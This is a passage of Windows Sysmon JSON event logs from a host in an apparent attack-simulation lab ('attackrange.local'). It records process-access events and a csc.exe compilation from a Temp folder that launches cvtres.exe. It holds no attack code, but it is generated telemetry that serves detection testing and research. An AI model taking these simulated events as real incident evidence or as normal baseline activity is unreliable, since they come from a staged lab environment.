11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","TargetProcessId":"5048","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.190\r\nProcessGuid: {90617006-413D-5F2D-0000-0010E05B0600}\r\nProcessId: 4688\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES9C95.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\CSCD4B28DA2CD2C4DF79A60D5D946388C3.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-413D-5F2D-0000-001051580600}\r\nParentProcessId: 5048\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.190","ProcessGuid":"{90617006-413D-5F2D-0000-0010E05B0600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES9C95.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\CSCD4B28DA2CD2C4DF79A60D5D946388C3.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-413D-5F2D-0000-001051580600}","ParentProcessId":"5048","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline\"","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-413D-5F2D-0000-001051580600}\r\nSourceProcessId: 5048\r\nSourceThreadId: 2412\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010E05B0600}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-413D-5F2D-0000-001051580600}","SourceProcessId":"5048","SourceThreadId":"2412","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010E05B0600}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010E05B0600}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010E05B0600}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 